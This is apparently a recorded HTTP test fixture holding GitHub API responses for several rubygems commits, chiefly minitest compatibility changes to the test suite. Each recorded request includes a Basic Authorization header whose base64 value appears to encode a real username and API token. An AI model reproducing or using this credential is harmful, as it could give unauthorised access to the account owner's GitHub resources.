W/"68b8a811b230d6351eb1a534c8432e63" Last-Modified: - Fri, 22 Dec 2017 01:08:08 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046453' X-Github-Request-Id: - A1C0:4D96:9714AB:13A340A:5A50E45F body: encoding: ASCII-8BIT string: '{"sha":"50b7a711a419d453f004e90ea2fdb3d825cdf5bd","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T01:08:08Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T01:08:08Z"},"message":"rake update_manifest","tree":{"sha":"d1217c29b385d6cd5e5f7c6069cdf9657fb6f572","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d1217c29b385d6cd5e5f7c6069cdf9657fb6f572"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/50b7a711a419d453f004e90ea2fdb3d825cdf5bd","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlo8WvgACgkQ+c8TQXJk\n+sL1rggAxBVlkHostQK+WG2sDZYRi0XV5xEQCZGC2EeU1wzNeHyJUtRgZiLh3bvP\nV+lEkdvmeErqjbPc8FIo3lNsq0tRxPWA0W4oXqC7brkIkDFE++FxA4rQ6ER4pdTK\n8UW4b3RiF0dyIerd58x3SZEm9tDrQIH02fhS4Tpr1ey8pWEOe+l+dc7aE2yh7jSu\nRI8hwfuGY6S4+EnXkPGxDblVxCasYhucQxHcmm6+3XWoKlXIvOaz35T22pQ543rS\ncs00Pe+PwzHKE8SqRrQ+Y0peFNb+/ycZ1nkddhysfC4h1orGG4NbHp+svcjpozgi\nVnv2B7bJna2+V93moSP42lAM0gk8Xg==\n=X3vR\n-----END PGP SIGNATURE-----","payload":"tree d1217c29b385d6cd5e5f7c6069cdf9657fb6f572\nparent df5410b0eb6a6f7f9dd8daf0dce07648f1195170\nauthor SHIBATA Hiroshi 1513904888 +0900\ncommitter SHIBATA Hiroshi 1513904888 +0900\n\nrake update_manifest\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/50b7a711a419d453f004e90ea2fdb3d825cdf5bd","html_url":"https://github.com/rubygems/rubygems/commit/50b7a711a419d453f004e90ea2fdb3d825cdf5bd","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/50b7a711a419d453f004e90ea2fdb3d825cdf5bd/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"df5410b0eb6a6f7f9dd8daf0dce07648f1195170","url":"https://api.github.com/repos/rubygems/rubygems/commits/df5410b0eb6a6f7f9dd8daf0dce07648f1195170","html_url":"https://github.com/rubygems/rubygems/commit/df5410b0eb6a6f7f9dd8daf0dce07648f1195170"}],"stats":{"total":3,"additions":2,"deletions":1},"files":[{"sha":"f33441951892527e5c5437bb43d74bc6041d38c4","filename":"Manifest.txt","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/50b7a711a419d453f004e90ea2fdb3d825cdf5bd/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/50b7a711a419d453f004e90ea2fdb3d825cdf5bd/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=50b7a711a419d453f004e90ea2fdb3d825cdf5bd","patch":"@@ -144,12 +144,12 @@ bundler/lib/bundler/ssl_certs/index.rubygems.org/GlobalSignRootCA.pem\n bundler/lib/bundler/ssl_certs/rubygems.global.ssl.fastly.net/DigiCertHighAssuranceEVRootCA.pem\n bundler/lib/bundler/ssl_certs/rubygems.org/AddTrustExternalCARoot.pem\n bundler/lib/bundler/stub_specification.rb\n+bundler/lib/bundler/templates/.document\n bundler/lib/bundler/templates/Executable\n bundler/lib/bundler/templates/Executable.bundler\n bundler/lib/bundler/templates/Executable.standalone\n bundler/lib/bundler/templates/Gemfile\n bundler/lib/bundler/templates/gems.rb\n-bundler/lib/bundler/templates/newgem/.travis.yml.tt\n bundler/lib/bundler/templates/newgem/CODE_OF_CONDUCT.md.tt\n bundler/lib/bundler/templates/newgem/Gemfile.tt\n bundler/lib/bundler/templates/newgem/LICENSE.txt.tt\n@@ -170,6 +170,7 @@ bundler/lib/bundler/templates/newgem/spec/newgem_spec.rb.tt\n bundler/lib/bundler/templates/newgem/spec/spec_helper.rb.tt\n bundler/lib/bundler/templates/newgem/test/newgem_test.rb.tt\n bundler/lib/bundler/templates/newgem/test/test_helper.rb.tt\n+bundler/lib/bundler/templates/newgem/travis.yml.tt\n bundler/lib/bundler/ui.rb\n bundler/lib/bundler/ui/rg_proxy.rb\n bundler/lib/bundler/ui/shell.rb"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:43 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/df5410b0eb6a6f7f9dd8daf0dce07648f1195170 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:43 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4566' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"4f5783ebb6d4042e2d1549b2a1815f7f" Last-Modified: - Fri, 22 Dec 2017 00:37:42 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.049971' X-Github-Request-Id: - A1C2:4D96:9714B6:13A3417:5A50E45F body: encoding: ASCII-8BIT string: '{"sha":"df5410b0eb6a6f7f9dd8daf0dce07648f1195170","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T00:37:42Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T00:37:42Z"},"message":"To use bundler-1.16.1","tree":{"sha":"dd714bdaedf480a151af3cdc7310de26751846df","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/dd714bdaedf480a151af3cdc7310de26751846df"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/df5410b0eb6a6f7f9dd8daf0dce07648f1195170","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlo8U9YACgkQ+c8TQXJk\n+sIL8wgAo7U/fzZEjXpAB4olMHL6GNUjFbaocQ4R3uBz4nvwj8nho/iWPEid7L5T\n2DiUJ4KEPBXiBjq774DxK50Gm84Uu9oJc/hc66Qybe9eaUZHsS2wqX6Bj5WGWHZz\nRgmmYUww6RILQjczSshppfaSRReJfbsPnlPDGZW2lNDcV8lryjULE6ghSbHcgWTH\nhaQBPs31+Kdl3HiCpw09EJ+hTwWILcYiugjF3GOVJXbo3Yqs7R9REoDUP6FuevXU\nsCZ4Aie6GTpNxDcDaPcXW8Q/31MeQan3ocYtXGJ5Ixldk/O+z0DHEmWRr3VLfaMf\nUW7gYNboj4coRrM2q6Xt+/jYeoHlIw==\n=pQUo\n-----END PGP SIGNATURE-----","payload":"tree dd714bdaedf480a151af3cdc7310de26751846df\nparent 814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0\nauthor SHIBATA Hiroshi 1513903062 +0900\ncommitter SHIBATA Hiroshi 1513903062 +0900\n\nTo use bundler-1.16.1\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/df5410b0eb6a6f7f9dd8daf0dce07648f1195170","html_url":"https://github.com/rubygems/rubygems/commit/df5410b0eb6a6f7f9dd8daf0dce07648f1195170","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/df5410b0eb6a6f7f9dd8daf0dce07648f1195170/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","url":"https://api.github.com/repos/rubygems/rubygems/commits/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","html_url":"https://github.com/rubygems/rubygems/commit/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"0034ef3416ca94d00839361dbeb0485b10a09c51","filename":"bundler","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":null,"raw_url":null,"contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/bundler?ref=df5410b0eb6a6f7f9dd8daf0dce07648f1195170","patch":"@@ -1 +1 @@\n-Subproject commit 10f20fa33bc36371cbad00106487c6eb22616ec7\n+Subproject commit 0034ef3416ca94d00839361dbeb0485b10a09c51"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:43 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:44 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4565' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"700a432395371999693ce1022942f7c5" Last-Modified: - Wed, 20 Dec 2017 21:44:37 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.044761' X-Github-Request-Id: - C494:4D97:903567:1C46EDF:5A50E460 body: encoding: ASCII-8BIT string: '{"sha":"814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-20T21:44:37Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-20T21:44:37Z"},"message":"Auto merge of #2118 - MSP-Greg:test_updates, r=duckinator\n\nUpdate for compatibilty with new minitest\n\n# Description:\n\nThese patches should allow RubyGems to test with both old and new minitest versions.\n\n# Tasks:\n\n- [X] Describe the problem / feature\n- [ ] Write tests\n- [X] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"8c45a6ba9af53fb132c6a6c3ef33dfbb1989e25a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8c45a6ba9af53fb132c6a6c3ef33dfbb1989e25a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","html_url":"https://github.com/rubygems/rubygems/commit/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"ead1cd2f7ed6529404b9ad883963b5066900e1d5","url":"https://api.github.com/repos/rubygems/rubygems/commits/ead1cd2f7ed6529404b9ad883963b5066900e1d5","html_url":"https://github.com/rubygems/rubygems/commit/ead1cd2f7ed6529404b9ad883963b5066900e1d5"},{"sha":"f1eb3b83610c2d21e4dbdb347ca37af6d2614289","url":"https://api.github.com/repos/rubygems/rubygems/commits/f1eb3b83610c2d21e4dbdb347ca37af6d2614289","html_url":"https://github.com/rubygems/rubygems/commit/f1eb3b83610c2d21e4dbdb347ca37af6d2614289"}],"stats":{"total":58,"additions":28,"deletions":30},"files":[{"sha":"367b269feaaf75a9399827b6c1e98076ef95b60a","filename":"lib/rubygems/test_case.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/lib/rubygems/test_case.rb","raw_url":"https://github.com/rubygems/rubygems/raw/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/lib/rubygems/test_case.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/test_case.rb?ref=814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","patch":"@@ -84,7 +84,7 @@ module DefaultUserInteraction\n #\n # Tests are always run at a safe level of 1.\n \n-class Gem::TestCase < MiniTest::Unit::TestCase\n+class Gem::TestCase < (defined?(Minitest::Test) ? Minitest::Test : MiniTest::Unit::TestCase)\n \n attr_accessor :fetcher # :nodoc:\n "},{"sha":"d23c6b8ff904c419c5ccdd03e231505a02196ae5","filename":"test/rubygems/test_gem.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","patch":"@@ -1587,7 +1587,7 @@ def test_register_default_spec\n \n assert_equal old_style, Gem.find_unresolved_default_spec(\"foo.rb\")\n assert_equal old_style, Gem.find_unresolved_default_spec(\"bar.rb\")\n- assert_equal nil, Gem.find_unresolved_default_spec(\"baz.rb\")\n+ assert_nil Gem.find_unresolved_default_spec(\"baz.rb\")\n \n Gem.clear_default_specs\n \n@@ -1600,8 +1600,8 @@ def test_register_default_spec\n \n assert_equal new_style, Gem.find_unresolved_default_spec(\"foo.rb\")\n assert_equal new_style, Gem.find_unresolved_default_spec(\"bar.rb\")\n- assert_equal nil, Gem.find_unresolved_default_spec(\"exec\")\n- assert_equal nil, Gem.find_unresolved_default_spec(\"README\")\n+ assert_nil Gem.find_unresolved_default_spec(\"exec\")\n+ assert_nil Gem.find_unresolved_default_spec(\"README\")\n end\n \n def test_default_gems_use_full_paths"},{"sha":"c3aa01503a3605ae1933ac5aaa47b972c361abd7","filename":"test/rubygems/test_gem_command_manager.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_command_manager.rb","raw_url":"https://github.com/rubygems/rubygems/raw/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_command_manager.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_command_manager.rb?ref=814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","patch":"@@ -114,8 +114,8 @@ def test_process_args_install\n assert_equal :both, check_options[:domain]\n assert_equal true, check_options[:wrappers]\n assert_equal Gem::Requirement.default, check_options[:version]\n- assert_equal nil, check_options[:install_dir]\n- assert_equal nil, check_options[:bin_dir]\n+ assert_nil check_options[:install_dir]\n+ assert_nil check_options[:bin_dir]\n \n #check settings\n check_options = nil"},{"sha":"8acbd491b4486c4de2654912815c2d36e65373f6","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":5,"deletions":3,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","patch":"@@ -6,6 +6,8 @@\n \n class TestGemCommandsSetupCommand < Gem::TestCase\n \n+ BUNDLER_VERS = `gem list -e bundler`[/([^() ]+)\\)\\Z/, 1] || \"1.16.0\"\n+\n def setup\n super\n \n@@ -32,7 +34,7 @@ def setup\n \n gemspec = Gem::Specification.new\n gemspec.name = \"bundler\"\n- gemspec.version = \"1.16.0\"\n+ gemspec.version = BUNDLER_VERS\n gemspec.bindir = \"exe\"\n gemspec.executables = [\"bundle\"]\n \n@@ -136,8 +138,8 @@ def test_install_default_bundler_gem\n refute_path_exists File.join(default_dir, \"bundler-1.15.4.gemspec\")\n refute_path_exists ''default/gems/bundler-1.15.4''\n \n- assert_path_exists File.join(default_dir, \"bundler-1.16.0.gemspec\")\n- assert_path_exists ''default/gems/bundler-1.16.0''\n+ assert_path_exists File.join(default_dir, \"bundler-#{BUNDLER_VERS}.gemspec\")\n+ assert_path_exists \"default/gems/bundler-#{BUNDLER_VERS}\"\n \n assert_path_exists File.join(Gem.default_dir, \"specifications\", \"bundler-audit-1.0.0.gemspec\")\n assert_path_exists ''default/gems/bundler-audit-1.0.0''"},{"sha":"2cf86edd0980d99f1668683f0c6802a8205a1a07","filename":"test/rubygems/test_gem_commands_signin_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_commands_signin_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_commands_signin_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_signin_command.rb?ref=814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","patch":"@@ -48,7 +48,7 @@ def test_execute_when_already_signed_in_with_different_host\n \n assert_equal credentials[:rubygems_api_key], api_key\n \n- assert_equal credentials[host], nil\n+ assert_nil credentials[host]\n end\n \n def test_execute_with_host_supplied"},{"sha":"88921d34f8a6913cf04c66cc2f93c03718e7e724","filename":"test/rubygems/test_gem_commands_uninstall_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_commands_uninstall_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_commands_uninstall_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_uninstall_command.rb?ref=814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","patch":"@@ -238,7 +238,7 @@ def test_handle_options\n @cmd.handle_options %w[]\n \n assert_equal false, @cmd.options[:check_dev]\n- assert_equal nil, @cmd.options[:install_dir]\n+ assert_nil @cmd.options[:install_dir]\n assert_equal true, @cmd.options[:user_install]\n assert_equal Gem::Requirement.default, @cmd.options[:version]\n assert_equal false, @cmd.options[:vendor]"},{"sha":"2fc61f9bd6b19632375b6d3eb9528c39beed3456","filename":"test/rubygems/test_gem_ext_rake_builder.rb","status":"modified","additions":0,"deletions":4,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_ext_rake_builder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_ext_rake_builder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_ext_rake_builder.rb?ref=814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","patch":"@@ -16,11 +16,9 @@ def setup\n def test_class_build\n create_temp_mkrf_file(''task :default'')\n output = []\n- realdir = nil # HACK /tmp vs. /private/tmp\n \n build_rake_in do |rake|\n Dir.chdir @ext do\n- realdir = Dir.pwd\n Gem::Ext::RakeBuilder.build ''mkrf_conf.rb'', nil, @dest_path, output\n end\n \n@@ -38,11 +36,9 @@ def test_class_build\n def test_class_build_with_args\n create_temp_mkrf_file(''task :default'')\n output = []\n- realdir = nil # HACK /tmp vs. /private/tmp\n \n build_rake_in do |rake|\n Dir.chdir @ext do\n- realdir = Dir.pwd\n non_empty_args_list = ['''']\n Gem::Ext::RakeBuilder.build ''mkrf_conf.rb'', nil, @dest_path, output, non_empty_args_list\n end"},{"sha":"0b240da724cea4202e0715d2ef06be19d8230fcd","filename":"test/rubygems/test_gem_installer.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_installer.rb?ref=814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","patch":"@@ -21,7 +21,7 @@ def setup\n super\n common_installer_setup\n \n- if __name__ =~ /^test_install(_|$)/ then\n+ if (self.class.method_defined?(:__name__) ? __name__ : name) =~ /\\Atest_install(_|\\Z)/\n FileUtils.rm_r @spec.gem_dir\n FileUtils.rm_r @user_spec.gem_dir\n end\n@@ -34,7 +34,7 @@ def teardown\n \n super\n \n- Gem.configuration = @config\n+ Gem.configuration = instance_variable_defined?(:@config) ? @config : nil\n end\n \n def test_app_script_text\n@@ -659,7 +659,7 @@ def test_generate_bin_symlink_win32\n assert_path_exists installed_exec\n \n if symlink_supported?\n- assert_send([File, :symlink?, installed_exec])\n+ assert File.symlink?(installed_exec)\n return\n end\n "},{"sha":"fbd240a84ffefb385453f90650dc205aed178cba","filename":"test/rubygems/test_gem_resolver_installer_set.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_resolver_installer_set.rb","raw_url":"https://github.com/rubygems/rubygems/raw/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_resolver_installer_set.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_resolver_installer_set.rb?ref=814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","patch":"@@ -197,7 +197,7 @@ def (set.remote_set).prefetch(_)\n def (set.remote_set).prefetch(_)\n raise \"called\"\n end\n- assert_equal nil, set.prefetch(nil)\n+ assert_nil set.prefetch(nil)\n end\n \n def 